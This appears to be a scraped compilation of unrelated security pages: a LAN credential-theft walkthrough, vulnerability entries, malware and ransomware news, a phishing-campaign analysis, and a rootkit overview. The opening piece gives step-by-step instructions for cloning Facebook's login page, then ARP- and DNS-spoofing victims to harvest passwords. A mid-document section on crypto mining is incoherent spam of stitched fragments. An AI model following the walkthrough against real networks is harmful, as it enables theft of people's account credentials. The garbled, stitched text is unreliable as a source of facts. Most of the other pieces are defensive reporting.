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In this video i'll show you how an attacker can steal user credentials of every site (in this case will be facebook) in a LAN environment. First of all we use SET to clone the current facebook home page and setup a server listening on port 80 with that copy.
Next step is to discover potential victims mapping our network. There are tons of ways to do this through nmap, hping, ping command, but this time i used the linux command arp-scan with the following syntax:
After mapping the network i used a great tool called netcmd to perform an arp spoofing attack to redirect traffic through the attacker.
Last step is to perform a dns spoofing attack so all request sent by the victim to facebook.com will be redirected to the attacker. To do this we need to use ettercap and modify /usr/share/ettercap/etter.dns adding this two lines.
After lunched ettercap we have just to wait for the victim to login into his facebook account.
Enjoy the video. |
|CVSS Meta Temp Score|
CVSS is a standardized scoring system to determine possibilities of attacks. The Temp Score considers temporal factors like disclosure, exploit and countermeasures. The unique Meta Score calculates the average score of different sources to provide a normalized scoring system.
|Current Exploit Price (≈)|
Our analysts are monitoring exploit markets and are in contact with vulnerability brokers. The range indicates the observed or calculated exploit price to be seen on exploit markets. A good indicator to understand the monetary effort required for and the popularity of an attack.
|CTI Interest Score|
Our Cyber Threat Intelligence team is monitoring different web sites, mailing lists, exploit markets and social media networks. The CTI Interest Score identifies the interest of attackers and the security community for this specific vulnerability in real-time. A high score indicates an elevated risk to be targeted for this vulnerability.
A vulnerability was found in IEEE 802.11 (the affected version unknown). It has been rated as critical. Affected by this issue is an unknown part of the component Packet Routing. The manipulation with an unknown input leads to a authentication spoofing vulnerability. Using CWE to declare the problem leads to CWE-290. This attack-focused weakness is caused by improperly implemented authentication schemes that are subject to spoofing attacks. Impacted is confidentiality, integrity, and availability.
The weakness was disclosed 03/30/2023 as Framing Frames: Bypassing Wi-Fi Encryption by Manipulating Transmit Queues. The advisory is shared for download at papers.mathyvanhoef.com. This vulnerability is handled as CVE-2022-47522. Technical details are unknown but a public exploit is available.
The exploit is available at github.com. It is declared as proof-of-concept.
It is possible to mitigate the problem by adding an authentication mechanism.
securityonline.info is providing further details.
CVSSv3VulDB Meta Base Score: 5.0
VulDB Meta Temp Score: 4.4
VulDB Base Score: 5.0
VulDB Temp Score: 4.4
VulDB Vector: 🔒
VulDB Reliability: 🔍
VulDB Base Score: 🔒
VulDB Temp Score: 🔒
VulDB Reliability: 🔍
ExploitingClass: Authentication spoofing
CWE: CWE-290 / CWE-287
EPSS Score: 🔒
EPSS Percentile: 🔒
Price Prediction: 🔍
Current Price Estimation: 🔒
Threat IntelligenceInterest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍
0-Day Time: 🔒
Timeline12/18/2022 CVE reserved
03/30/2023 +101 days Advisory disclosed
03/30/2023 +0 days VulDB entry created
04/20/2023 +21 days VulDB last update
SourcesAdvisory: Framing Frames: Bypassing Wi-Fi Encryption by Manipulating Transmit Queues
Status: Not defined
CVE: CVE-2022-47522 (🔒)
scip Labs: https://www.scip.ch/en/?labs.20161013
EntryCreated: 03/30/2023 04:22 PM
Updated: 04/20/2023 02:21 PM
Changes: 03/30/2023 04:22 PM (40), 03/30/2023 04:23 PM (1), 04/20/2023 02:18 PM (2), 04/20/2023 02:21 PM (1)
Want to stay up to date on a daily basis?
Enable the mail alert feature now! |
Squirrelwaffle, a new malware threat, has been discovered in the wild, and it is being exploited by malicious attackers to get an initial foothold and drop malware onto infected systems and networks.
The new malware spreads through spam campaigns, with the most recent campaigns releasing Qakbot and Cobalt Strike.
Cisco Talos researchers identified the Squirrelwaffle malware. It’s one of the tools that arose as an Emotet alternative shortly after the widely used botnet was disrupted by law authorities.
The new threat initially surfaced in September 2021, with higher distribution quantities at the end of the month. The spam campaign primarily leverages English-language stolen reply-chain email campaigns, but the threat actors also use emails in French, German, Dutch, and Polish.
These emails usually contain links to malicious ZIP packages located on attacker-controlled web domains, as well as a malicious.doc or.xls attachment that, when viewed, executes malware-retrieving code.
The perpetrators utilise the DocuSign signature tool as bait to mislead users into allowing macros in their MS Office suite, according to Talos researchers who sampled and examined multiple papers.
For obfuscation, the code uses string reversal, then writes a VBS script to % PROGRAMDATA % and runs it.
This activity downloads Squirrelwaffle from one of the five hardcoded URLs and instals it on the infected machine as a DLL file.
The Squirrelwaffle loader subsequently instals malware such as Qakbot or Cobalt Strike, a frequently used penetration testing tool.
Cobalt Strike is a legal penetration testing tool that is used to examine an organization’s infrastructure in order to find security flaws and vulnerabilities.
However, after deploying beacons that provide them with permanent remote access to infected devices, threat actors use cracked versions of Cobalt Strike for post-exploitation operations.
To avoid detection and analysis, Squirrelwaffle includes an IP blocklist populated with well-known security research firms.
Squirrelwaffle communicates with the C2 infrastructure using HTTP POST requests that are encrypted (XOR+Base64).
To assist the file distribution part of their activities, the threat actors use previously compromised web servers, with the majority of these sites running WordPress 5.8.1.
Squirrelwaffle could be a reincarnation of Emotet, created by individuals who eluded law enforcement or other threat actors looking to fill the hole left by the legendary malware.
Cisco Talos urges all companies and security experts to become aware of the strategies used in this malware’s campaigns as its use increases.
You might also like: |
21Nails Vulnerabilities Impact 60% of the Internet’s Email Servers
Published on May 05, 2021 at 02:45AM
The maintainers of the Exim email server software have released updates today to patch a collection of 21 vulnerabilities that can allow threat actors to take over servers using both local and remote attack vectors. The Record reports: Known as 21Nails, the vulnerabilities were discovered by security firm Qualys. The bugs impact Exim, a type of email server known as a mail transfer agent (MTA) that helps email traffic travel across the internet and reach its intended destinations. While there are different MTA clients available, an April 2021 survey shows that Exim has a market share of nearly 60% among all MTA solutions, being widely adopted around the internet. The 21Nails vulnerabilities, if left unpatched, could allow threat actors to take over these systems and then intercept or tamper with email communications passing through the Exim server.
As Qualys explains in its security advisory, the 21Nails vulnerabilities are as bad as it gets. All Exim server versions released in the past 17 years, since 2004, the beginning of the project’s Git history, are affected by the 21Nails bugs. This includes 11 vulnerabilities that require local access to the server to exploit, but also 10 bugs that can be exploited remotely across the internet. Security experts recommend that Exim server owners update to Exim version 4.94 to protect their systems against attacks.
Read more of this story at Slashdot. |
By Milo Salvia, CofenseTM Phishing Defense CenterTM
This blog has been updated since its first appearance on October 17, 2019 to include information related to the threat origin and bypassed email gateways.
The Cofense Phishing Defense Center (PDC) has observed a phishing campaign that aims to harvest credentials from Stripe, the online payment facilitator handling billions of dollars annually, making it an attractive target for threat actors seeking to use compromised accounts to gain access to payment card information and defraud consumers. The phish prevents email recipients from seeing the destination of an embedded link when they try to hover over the URL. Instead, what they see is a bogus account message. Here’s how the campaign works.
Figure 1: Email Headers
The phishing email originates from a compromised press email account with privileged access to MailChimp. The threat actor used the MailChimp app to launch a “marketing campaign” comprised of phishing emails. Because the emails came from a legitimate marketing platform, they passed basic email security checks like DKIM and SPF. As we can see from the headers in figure 1, the email passed both the DKIM authentication check and SPF.
Figure 2: URL
The threat actor was able to obfuscate the URLs contained in the email by using MailChimp’s redirect services. This method hides the true destination and replaces it with a list manage URL. The threat actor also gains the ability to track whether a link has been clicked by a recipient.
The email pretends to be a notification from “Stripe Support,” informing the account administrator that “Details associated with account are invalid.” The administrator needs to take immediate action, otherwise the account will be placed on hold. This is cause for panic among businesses that rely solely on online transactions and payments. Fear and urgency are the most common emotions threat actors play on, spurring otherwise rational people to make irrational decisions.
The email body contains a button with an embedded hyperlink: “Review your details.” When clicked, the recipient is redirected to a phishing page. Usually one can check the destination of the hyperlink by hovering over it with the mouse curser. The true destination of this hyperlink is obscured by adding a simple title to HTML’s <a> tag, which shows the recipient the title “Review your details” when the recipient hovers over the button instead of the URL. Potentially this is a tactic to mask the true destination from a vigilant recipient.
Figure 3: Email Body
Figure 4: Malicious Button
The phishing page is an imitation of the Stripe customer login page. In fact, it consists of three separate pages. The first one aims to harvest the admin’s email address and password, while the second page asks for the bank account number and phone number associated with the account. Lastly, the recipient is redirected back to the account login page which displays an error massager, “Wrong Password, Enter Again.” This leads the recipient to believe an incorrect password has been entered and redirects back to the legitimate site, so the recipient doesn’t suspect foul play.
Figure 5: Phishing Pages
HOW COFENSE CAN HELP
Cofense PhishMeTM offers a simulation template, “Stripe Account Notification,” to educate users on the campaign described in today’s blog.
75% of threats reported to the Cofense Phishing Defense CenterTM are credential phish. Protect the keys to your kingdom—condition end users to be resilient to credential harvesting attacks with Cofense PhishMe.
Over 91% of credential harvesting attacks bypassed secure email gateways. Remove the blind spot—get visibility of attacks with Cofense ReporterTM.
Attackers do their research. Every SaaS platform you use is an opportunity for attackers to exploit it. Understand what SaaS applications are configured for your domains—do YOUR research with Cofense CloudSeekerTM.
Thanks to our unique perspective, no one knows more about the REAL phishing threats than Cofense. To understand them better, read the 2019 Phishing Threat & Malware Review.
All third-party trademarks referenced by Cofense whether in logo form, name form or product form, or otherwise, remain the property of their respective holders, and use of these trademarks in no way indicates any relationship between Cofense and the holders of the trademarks. Any observations contained in this blog regarding circumvention of end point protections are based on observations at a point in time based on a specific set of system configurations. Subsequent updates or different configurations may be effective at stopping these or similar threats. |
Mine crypto ps4 controller
This guide will help you with mining in Terraria. You can build shafts to connect disconnected caves. Build shafts if you can't proceed any further in the cave you're currently exploring, or as the safest way to explore them. If you're digging through water, you might drown and lose your coins.
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- Illegal mining factory that mined virtual currency using 3800 game machines such as PS4 is caught
- Ethereum Crypto Mining Rig - MR105
- The Morning After: NVIDIA’s RTX 3050 GPU has landed
- Eleethub: A Cryptocurrency Mining Botnet with Rootkit for Self-Hiding
- Police Seize Thousands Of PlayStations Being Used To Mine Cryptocurrency
- Bitcoin Mining Made Easy
- Microsoft: Log4j exploits extend past crypto mining to outright theft
- Robot or human?
- Terraria Wiki
- Worker Killed in Pennsylvania Mine Collapse, State Officials Say
Illegal mining factory that mined virtual currency using 3800 game machines such as PS4 is caught
The cryptocurrency-miner, a multi-component threat comprised of different Perl and Bash scripts, miner binaries, the application hider Xhide, and a scanner tool, propagates by scanning vulnerable machines and brute-forcing primarily default credentials. The threat also employs a process hider to conceal the miner binary, which makes a typical user more unlikely to notice the mining activity save for a drop in performance and suspicious network traffic.
This method has been a known cover for threat actors that aim to scan, brute force, and mine. The attacker starts by gaining access to a machine through weak or default credentials.
Then, a command will be run on the compromised machine:. The initial file min detected as Trojan. UWEJS downloads another file min. UWEJS , which is the main shell script that installs the various components of this threat. After executing the main shell script, it will try to kill existing cryptocurrency-mining processes:.
The shell script also downloads and executes the component file downloaders cron. UWEJT , which are executed daily by the hour and every 30 minutes respectively. These files drop rcmd. The shell script is also capable of downloading and extracting the miner archive monero. UWEJS for the execution of its contents. The archive file contains the miner binaries, which can be executed by various shell and Perl scripts that are also contained in the file.
The contents of the archive file are primarily configuration files and those that execute various component files, such as config. The main shell script then proceeds to download and extract the scanner archive sslm. UWEJS for execution. The contents of the scanner archive include. The scanner would attempt to infect and gain control of devices in a private IP range It will try to infect all devices in the same local network as the host machine by brute forcing a list of credentials that contain 3, username and password combinations.
Based on the credentials used, the attack mostly targets servers related to databases, storages, gaming, and mining rigs. If successful, the attacker will then be able to issue the aforementioned commands for cryptocurrency-mining.
The threat actors behind this cryptocurrency-miner have utilized Haiduc and Xhide, known and old tools that have been notoriously used for various malicious activities. These tools, combined with brute-forced weak credentials, can persist in systems while operating under the radar of traditional network security solutions. Such malware can also affect system performance and expose users to other forms of compromise. Users can also consider adopting security solutions that can provide protection from malicious bot-related activities through a cross-generational blend of threat defense techniques.
Like it? Add this infographic to your site: 1. Click on the box below. The miner process is hidden using XHide Process Faker, a year old open source tool used to fake the name of a process. Internet of Things. Securing Home Routers. Trend Micro Pattern Detection.
Ethereum Crypto Mining Rig - MR105
In recent years, the number of companies engaged in mining crypto assets virtual currency such as Bitcoin is increasing, and it has been reported that. It was PS4. As far as the logo on the side is seen, it seems that PS4 was installed upside down at this mining factory. The Security Service of Ukraine has seized nearly 5, devices from the factory, including about 3, game consoles, about Technology media Tom's Hardware points out that so far there is no clear evidence that PS4 can actually mine cryptocurrencies. However, since such a large amount of PS4 was found in an illegal mining factory, the criminals say that they may have succeeded in mining with PS4 in some way. In the past, there have been some heroes mining Bitcoin with the Game Boy released in
The Morning After: NVIDIA’s RTX 3050 GPU has landed
True two slot GPU, and I plan to use this baby till it's either extremely outdated or dead. But I forgot what OC setting it used. FPS higher is better Borderlands 3. Yes, brand new versions of these four-year-old Features. Detailed global and per-worker statistics. Make sure to share your findings with the community on our Reddit and Discord. I can bumb up the the mega hash to 45 but only increasing the draw to watts. What numbers can we expect?
Eleethub: A Cryptocurrency Mining Botnet with Rootkit for Self-Hiding
Crypto mining is taking around the world. Everyone admires earning good passive income, right? This makes mining the best passive earning source. But hey, can I mine bitcoin on PS5? This is the question that pops in mind for everyone who has the new PS5.
Police Seize Thousands Of PlayStations Being Used To Mine Cryptocurrency
Over the past month or so, we have seen a rise of bloatware added to Microsoft Edge. If you thought that was bad, wait till you hear this. Norton is installing a crypto miner on users computers, it's called Norton Crypto. Are you wondering how an antivirus vendor can resort to such shady measures. Isn't the product supposed to prevent such potentially unwanted programs from being installed, and running on the computer?
Bitcoin Mining Made Easy
VentureBeat Homepage. Microsoft said Saturday that exploits so far of the critical Apache Log4j vulnerability , known as Log4Shell, extend beyond crypto coin mining and into more serious territory such as credential and data theft. The tech giant said that its threat intelligence teams have been tracking attempts to exploit the remote code execution RCE vulnerability that was revealed late on Thursday. The vulnerability affects Apache Log4j, an open source logging library deployed broadly in cloud services and enterprise software. Many applications and services written in Java are potentially vulnerable. Attacks that take over machines to mine crypto currencies such as Bitcoin, also known as cryptojacking, can result in slower performance.
Microsoft: Log4j exploits extend past crypto mining to outright theft
Bitcoin is the market leader when it comes to cryptocurrencies, and this is by and large due to it being the first of its kind. Created in by the elusive Satoshi Nakomoto and then released the following year, Bitcoin is decentralised, which means that there is no involvement from banks or financial institutions. However, not as many people will know that Bitcoin mining is a crucial part of its existence. While most Bitcoin mining operations are taken on by powerful computing setups, otherwise known as rigs, there is a way to utilise an Xbox for mining too.
Robot or human?RELATED VIDEO: The Easiest Way To Mine Cryptocurrency At Home - Test It Right Now!
To restart your WiFi adapter: Right click your wifi icon in the bottom right corner. E-Mail Verification. Listen to the things you normally read with. But when I try to join my server I get a join failed connection timeout. Use all of your Internet connections at the same time.
First, you need the Steam client installed and configured on your main gaming PC—make sure you have all the games you want to play downloaded. Steam recommends a wired internet connection for the best speeds and stability, but you can get away without one. You need to have the Enable Remote Play box checked, and further down the dialog you can give your main PC a recognizable name and configure various options via Advanced Host Options. You can choose whether or not audio should play on the host computer during gameplay, for example, and how hardware encoding is handled. Streaming to another computer—an older Windows machine, for example, or a Mac—is as simple as installing the Steam client again and signing in with the same username and password. PT on February 9 for the Galaxy Unpacked live stream. During gaming, press this key to access the options.
Worker Killed in Pennsylvania Mine Collapse, State Officials Say
Ps3 fat bluetooth board. Valentine's Day Hearts. Many do not. |
DNS Booster is a firewalla's DNS Cache.
A DNS cache (sometimes called a DNS resolver cache) is a temporary database, maintained in memory, that contains records of all the recent visits and attempted visits to websites and other internet domains. After the initial visit to any website, the DNS lookup results will be returned from memory to speed up connections.
This feature has always been there to intercept and accelerate DNS request for all devices in the home network. As of 1.965, we decide to break the DNS cache function to be per device (rather than apply to all devices), hence you now see the DNS Booster function. |
04 November 2019 - Solutions to Wi-Fi hacking threats
Wi-Fi Trek 2019
Gourav Rai, a 2019 ucisa bursary recipient, attended Wi-Fi Trek 2019 in Nashville as his bursary conference. His blogs outline some of the key presentations he saw there and what he learnt as a consequence.
The session by Ryan and Jim focused on increasing awareness about various wireless network hacking threats. They provided details on how easy it is to hack a wireless network if proper security is not in place. A few of the slides from there are shown here - they are self-explanatory.
During the presentation it was highlighted that the Wi-Fi industry lacks sufficient standards around Layer-2 Wi-Fi security. The presenter indicated that for last 20 years, six major categories of Wi-Fi threats have existed. To counter these threats a trusted wireless environment framework has been projected. This framework wants the industry player to ensure a minimum Layer-2 security standard needed to protect the Wi-Fi world security.
Fig.1 Graphic showing Wi-Fi Layer 2 being open to attacks
The six major categories of Wi-Fi threats have been classed as:
1. Rouge Access Point Threat
2. Evil Twin Access Point Threat
3. Neighbour Access Point Threat
4. Rouge Client Threat
5. Misconfigured Access Point Threat
6. Ad-Hoc Network.
Fig.2 Graphic showing six known Wi-Fi threat categories
While concluding the following trusted wireless enviornment setup was projected as a solution to counter the threats mentioned in the earlier graphic.
Fig.3 Graphic showing “What a Trusted Wireless Environment Looks Like” |
Arbitrary command execution is possible in Git because a "git submodule update" operation can run commands found in the .gitmodules file of a malicious repository.
When executing Ghidra from a given path, the Java process working directory is set to this path. Then, when launching the Python interpreter via the "Ghidra Codebrowser > Window > Python" option, Ghidra will try to execute the cmd.exe program from this working directory.
There's a vulnerability in Zoom's Desktop Conferencing Application that allows for execution of unauthorized Zoom commands like spoofing chat messages, hijacking screen controls and kicking attendees off calls and locking them out of meetings. This vulnerability could be exploited in a few scenarios: 1) a Zoom meeting attendee could go rogue; 2) an attacker on the local access network (LAN) or 3) a remote attacker over wide area network (WAN) could theoretically use this vulnerability to hijack an ongoing Zoom meeting. |
Family: Red Hat Local Security Checks --> Category: infos
RHSA-2005-175: kdenetwork Vulnerability Scan
Vulnerability Scan Summary
Check for the version of the kdenetwork packages
Detailed Explanation for this Vulnerability Test
Updated kdenetwork packages that fix a file descriptor leak are now
This update has been rated as having low security impact by the Red Hat
Security Response Team
The kdenetwork packages contain a collection of networking applications for
the K Desktop Environment.
A bug was found in the way kppp handles privileged file descriptors. A
malicious local user could make use of this flaw to modify the /etc/hosts
or /etc/resolv.conf files, which could be used to spoof domain information.
The Common Vulnerabilities and Exposures project (cve.mitre.org) has
assigned the name CVE-2005-0205 to this issue.
Please note that the default installation of kppp on Red Hat Enterprise
Linux uses consolehelper and is not vulnerable to this issue. However, the
kppp FAQ provides instructions for removing consolehelper and running kppp
suid root, which is a vulnerable configuration.
Users of kdenetwork should upgrade to these updated packages, which contain
a backported patch, and are not vulnerable to this issue.
Solution : http://rhn.redhat.com/errata/RHSA-2005-175.html
Threat Level: High
Click HERE for more information and discussions on this network vulnerability scan. |
This year almost at the end of October a new ransomware group appeared with quite an unordinary encryption technique. “Memento Team” instead of encrypting files itself copies them into password-protected archives by using a retitled freeware version of the legitimate file utility WinRAR. Then the gang locks the archive with passwords and deletes original files. In the ransomware note criminals instruct victims to contact them via a Telegram account. The team of cybersecurity analysts provided a description of some of their client’s experience with the new ransomware.
WinRaR became the new ransomware tool
“The modifications to the ransomware changed its behavior to avoid detection of encryption activity. Instead of encrypting files, the “crypt” code now puts the files in unencrypted form into WinRaR archive files, using the copy of WinRAR, saving each file in its own archive with a .vaultz file extension. Passwords were generated for each file as it was archived. Then the passwords themselves were encrypted,” – SophosNews report.
The wording and formatting of the group`s ransomware note looks similar to that of the REvil ransomware gang. In addition, it threatens to leak the data if payments are not made. But unlike REvil payments were asked to be made in Bitcoin. The gang demanded 15.95 BTC (roughly $1 million US). That’s the sum for all files and they also offered varying price rates for different types of files, separately. The exact usage of WinRar archives with passwords is very similar to old jokes from ’00s. Then it was just pranks, but now these are real cyberattacks.
After almost six months secretly probing the victims’ network gang began their attack. Unluckily for them, the victim didn`t start the negotiation process. Targeted organizations previously made the backups of the encrypted files and could get back to rather normal work despite the attack. In general, 2021 year saw a significant rise in ransomware attacks and demanded payments. Below we provide you with a short excerpt of the most common trends for this year in this particular criminal ecosystem.
Ransomware 2021 year facts
These are just short sentences but they should give you the main points in the field. Ransomware started to spread itself to mobile phones thanks to mobile`s general more openness to malware. The majority of them cover the browser or an app with the ransom note making the device unusable. Due to the pandemic, most ransomware gangs projected their interests to vulnerable industries such as municipal facilities, schools and remote work employees. RaaS or Ransomware-as-a-service developed into quite an effective work business. It allows ransomware gangs to use already developed ransomware tools. The decentralized nature of the whole economy makes it difficult for the law enforcement agencies to successfully target them.
Ransomware evolves in its tactics and methods of work with several new quite effectively ransomware strains having made headlines. About some of them you surely have heard about. Conti, REvil, DarkSide and Netwalker change their behavior so the new detection methods need to be applied to continue the fight with them at the same level. And that makes some percent of success for the upgraded strains of ransomware as there could not be at that very moment help tools. |
Phone and real-time communications systems in general make use of caller ID to indicate who is calling when a phone is ringing. Caller ID is that little number that shows up on your phone telling you that it is your boss calling. The number is often matched against your phone book to show an actual name. This feature is not only available on PSTN (public switched telephone network) but also in the VoIP systems that have been replacing it in the past dozen or so years. And it is ripe for abuse!
In this series of posts on Communication Breakdown, we shall be looking at various ways that caller ID may be perverted. We will not focus on PSTN or how to use online services to abuse caller ID, as this is well covered by other public material. Instead, we will describe how VoIP and WebRTC systems may be affected by vulnerabilities related to caller ID. What we’re interested in is how some of these online services actually work, how to pull such attacks in lab environment, the related protocols and security solutions.
What is caller-id spoofing?
The caller ID is typically abused by adversaries, such as cyber-criminals, fraudsters and telemarketers, through caller ID spoofing; that is, faking the number or name that is supposed to originate an incoming call. It is a classic trick for the phone phreaks of the past but it is still alive and kicking. With caller ID spoofing techniques, attackers can fool their victims into thinking that their boss is calling, while it is actually a friendly social engineer trying to get them to reveal sensitive material (e.g. passwords or an upcoming acquisition) or perform certain actions (e.g. transfer funds to an offshore bank account). Or the attack target might not even be a human, but instead, lines of code forming a voicemail system.
How has it been abused in the past?
Caller ID spoofing is therefore quite a versatile technique that can be abused in various ways. The obvious way to abuse caller ID spoofing is to supplement social engineering techniques. And it can scale. It is often used by robocallers in telemarketing, spam calls and other automated techniques. With AI voice systems, please excuse the buzz words, this can get very interesting and scale pretty well. It may also be used to bypass authentication, typically to access someone else’s voicemail or (in the past?) say, Twitter account. It has been used in swatting in the past, where someone calls 911 spoofing the caller ID of a victim who ends up with a SWAT team breaking into their house. On a lighter note, it may even be used to target vulnerabilities more typical of Web applications such as cross-site scripting (XSS) and SQL injection.
With SIP user-agents, the caller ID is typically set by clients by looking at the
From header. So a header such as
From: "Emergency" <sip:[email protected]> will show the caller ID as Emergency and
[email protected]. Of course, such simple attacks are prevented or blocked on most RTC systems used by end users. On the other hand, there are various cases that might not be too obvious, where caller ID spoofing is a problem.
So, here are some topics that we would like to cover on the topic of caller ID spoofing:
- Technical details on how SIP UACs (user-agent clients) such as softphones and hardphones are affected.
- Technical details on how SIP proxies and PSTN gateways may be abused.
- How voicemail and similar systems that rely on caller ID for authentication are attacked.
- How spoofing the caller ID in SIP may allow for abuse of security flaws typical of Web applications, such as XSS and SQL injection.
- How non-SIP protocols, such as XMPP, used by certain video conferencing systems, may also be vulnerable.
- A technical and offensive look at STIR/SHAKEN which is meant to address caller ID spoofing in VoIP systems at phone company level on PSTN.
Being able to set the caller ID is often a legitimate feature of phone systems. Especially in VoIP, being able to set a name, surname and perhaps a phone number for an originating call, is part of the protocol definition. This makes such systems possibly vulnerable to caller ID spoofing. In the future, we plan on looking at the technical details behind how this is done on VoIP and WebRTC systems, and into the solutions that can prevent such vulnerabilities. |
According to cybersecurity firm Sophos, some recent ransomware attacks used a set of tools associated with multiple types of ransomware and deployed in much the same way, which suggests that one or more ransomware-as-a-service affiliates are involved. And among those tools is SystemBC, which provides a persistent connection to victims’ systems.
While the SystemBC backdoor is used in combination with other malware to perform exfiltration and lateral movement across multiple targets. The SystemBC capabilities were intended for exploitation, but have now evolved into a toolkit for targeted attacks such as ransomware attack.
SystemBC RAT serving as a Remote control
As malware operators send out a number of payloads back to infected system for execution, SystemBC can parse and execute DLL/EXE data blobs over the Tor connection, including shell code, VBS scripts, batch scripts, Windows commands and PowerShell scripts.
The bot creates randomly named file in the %TEMP% directory and a scheduled task for the script, when it comes to VBS, BAT and CMD commands.
SystemBC checks for an MZ header in the data in order to know if it is a Windows executable, and if it is, then SystemBC loads it directly for execution without having to write a file. But if the data doesn’t have any MZ signature, the malware bot assumes it is shellcode and spawns a thread to execute it.
And once it's determined to be DLL binary data, SystemBC will load it using execute_pe_from_mem_thread and call the export function using call_dll_export_function_thread.
How SystemBC has Evolved since 2019
SystemBC was first documented in August 2019, as a proxy malware that leverages the internet protocol known as SOCKS5 to mask traffic to command-and-control (CnC) servers and downloads a banking Trojan called the DanaBot.
But it has since evolved into a toolset with new capabilities that allow it to use Tor connection to encrypt the destination of its CnC communications, and provide attackers with a persistent backdoor for launching other attacks. And the rise of commodity malware points to a new trend whereby ransomware is provided as a service to affiliates, such as the case of MountLocker, with the operators offering double extortion to affiliates. |
After posting about how to remove a rootkit using SystemRescueCd, I encountered a rootkit that I could not eradicate using my method. Fortunately, I was able to discover a different method using Windows tools. SysInternals (aka Microsoft) developed a tool called RootkitRevealer that is very useful in determining the symptoms, thus the identity, of a rootkit. After determining the identity of the rootkit and its associated files, I was able to use The Avenger to remove the offending files/drivers. Please visit these websites to learn more about them and their ability to remove malware.
Additionally, here is a great site that educates on rootkits: http://www.raulsiles.com/resources/rootkit.html |
“This endpoint operates by accepting a vector of account IDs and auth-login tokens — data essential for managing simultaneous sessions or switching between user profiles seamlessly,” CloudSEK said in the blogpost. “While the MultiLogin feature plays a vital role in user authentication, it also presents an exploitable avenue if mishandled, as evidenced by recent malware developments.”
To confirm that a MultiLogin endpoint has been used to regenerate session cookies in the exploit, CloudSEK conversed with Prisma and reverse engineered the exploit executable provided by the threat actor. The study revealed the specific undocumented MultiLogin endpoint that was used in the exploit.
Password resets are not enough
The exploit is possible only after an initial hack into a user’s system to retrieve valid user session tokens. A malware initially infects a victim’s computer, often through methods like malicious spam or untrustworthy downloads. Once the system is compromised, the malware searches for web browser session cookies and other data that can be exploited to gain unauthorized access to accounts.
The pilfered session tokens are sent to the operators of the malware, allowing them to infiltrate and take control of the compromised accounts. Notably, even if users detect the breach and change their Google password, the stolen tokens can still be used for login. The malware extracts and decrypts account IDs and authentication tokens from active Google accounts by examining the token_service table in the WebData of Chrome, which it uses together with MultiLogin to continuously regenerate session information.
To mitigate this risk, users are advised to log out completely, thereby rendering the session tokens invalid and preventing further exploitation.
Lumma hid exploit with token encryption
In order to obfuscate its exploitation mechanism, Lumma encrypted the access token extracted from the token_service table: GAIA ID pair, a critical component in Google’s authentication process. |
MyloBot which was initially discovered in 2018 is said to include a variety of sophisticated anti-debugging capabilities and propagation strategies for entangling infected machines in a botnet, as well as removing traces of rival malware. It used a 14-day delay before contacting its command-and-control servers and the ability to run malicious programmes directly from memory to avoid detection and stay under the radar.
- Anti-VM strategies
- Anti-sandboxing tactics
- Anti-debugging strategies
- Internal portions are encased in an encrypted resource file.
- Injection of code
- Process hollowing is a technique in which an attacker establishes a new process in a suspended state, then substitutes the malicious code in that process’s code to go unnoticed. Reflective EXE allows you to run EXE files directly from memory rather than from disc.
Minerva Labs researcher Natalie Zargarov stated, “The second stage executable then creates a new subdirectory under C:ProgramData.” “It looks for svchost.exe in a system directory and suspends its execution. It injects itself into the created svchost.exe process via an APC injection mechanism“.
The second stage of the infection is gaining a footing on the compromised host and using it as a stepping stone to establish communications with a remote server in order to fetch and execute a payload, which then decodes and runs the final-stage malware.
This malware is designed to take advantage of the endpoint to send extortion messages referencing the recipients’ online activities, such as accessing porn sites and threatening to release a video reportedly recorded by breaking into their computers webcams.
Finally the researchers concluded that ,” This threat actor went to great lengths to deliver the malware and keep it undetected, just to deploy it as an extortion mail sender, Botnets are harmful precisely because of this yet-to-be-identified threat. It may just as easily infect all affected endpoints with ransomware, malware, worms or other dangers.” |
MWITM (Man / Woman In The Middle)
Lauren Lee McCarthy and Kyle McDonald
In computer security a "man in the middle attack" is an attack where the attacker secretly relays and possibly alters the communication between two parties who believe they are directly communicating with each other. In this case, we set up a system to MITM attack our own relationship.
Instead of sending text messages to each other directly, all of our texts were intercepted by a server. On the server we each had an automated, scripted representation of ourselves handling the message, either the WITM or the MITM. The WITM and MITM had the ability to: modify a message as it is being sent or received, reply to a message instead of modifying or relaying it, and initiate new conversations without any actions from Lauren or Kyle. Through this process we hoped to sync our different communication styles and subvert our relationship to improve it. We used this system, updating the code for the MITM and WITM, for a period of six months. Over this period, the “authenticity” of the conversation became more ambiguous as we scripted in response to each other’s scripts.
This work was commissioned by Art Center Nabi for the Neotopia: Data and Humanity exhibition. |
Discover LinuxSecurity Features
What You Need to Know About Linux Rootkits [Updated] - Types of Rootkits
Types of Rootkits
The simplest type of rootkit and the easiest type to detect and remove operates at the user level. These rootkits can replace a user application with a modified program of their own. They are fairly easy to detect because one can trust the kernel of the operating system. User-mode rootkits can be injected through a variety of different mechanisms including the use of vendor-supplied application extensions, the interception of messages, debuggers, the exploitation of security bugs or API patching.
Another type of rootkit operates at the kernel level. These rootkits are harder to find and remove because one can't fully trust the kernel on which the rootkit has been installed. Malicious hackers have the ability to delete logs and replace system calls in order to hide their tracks. This type of rootkit is usually installed as a Linux Kernel Module (LKM). Some common kernel-mode rootkit variants include bootkits - or rootkits that can infect startup code like the Master Boot Record, firmware and hardware.
Here is a tutorial that explains how to write a very simple LKM that will allow you to get instant root on whichever machine it is installed on. Modules like this one can be used to masquerade the actions of a threat actor.
Here is a list of awesome user-mode and kernel-mode rootkits - mainly for older kernels - you’ll want to check out. |
A new flaw has been discovered in RARlab’s UnRAR utility that could be exploited to steal emails from individual Zimbra email user accounts.
Path traversal vulnerability, found in Unix versions of UnRAR, has been attributed CVE-2022-30333 and a base score of 7.5 in the Common Vulnerability Scoring System (CVSS).
For context, Zimbra is an enterprise email solution used by over 200,000 businesses, governments, and financial institutions.
Sonar security researchers were reportedly the first to discover the UnRAR bug and issued an advisory about it on Tuesday.
“We have discovered a 0-day vulnerability in the UnRAR utility, a third-party tool used in Zimbra,” the document reads.
The flaw would allow an attacker to create files outside of the target extraction directory when a victimized application or user extracts an untrusted archive.
“If they can write to a known location, they will likely be able to exploit it in a way that leads to the execution of arbitrary commands on the system,” Sonar wrote.
According to the advisory, a successful exploit would allow attackers to access all emails sent and received on a compromised email server.
“They can silently access backdoor login features and steal user credentials from an organization. With this access, they are likely to be able to escalate their access to even more sensitive internal services of an organization.
The only requirement for this attack is that UnRAR has been installed on the server, which Sonar says is likely as it is needed for RAR archive virus scanning and spam checking.
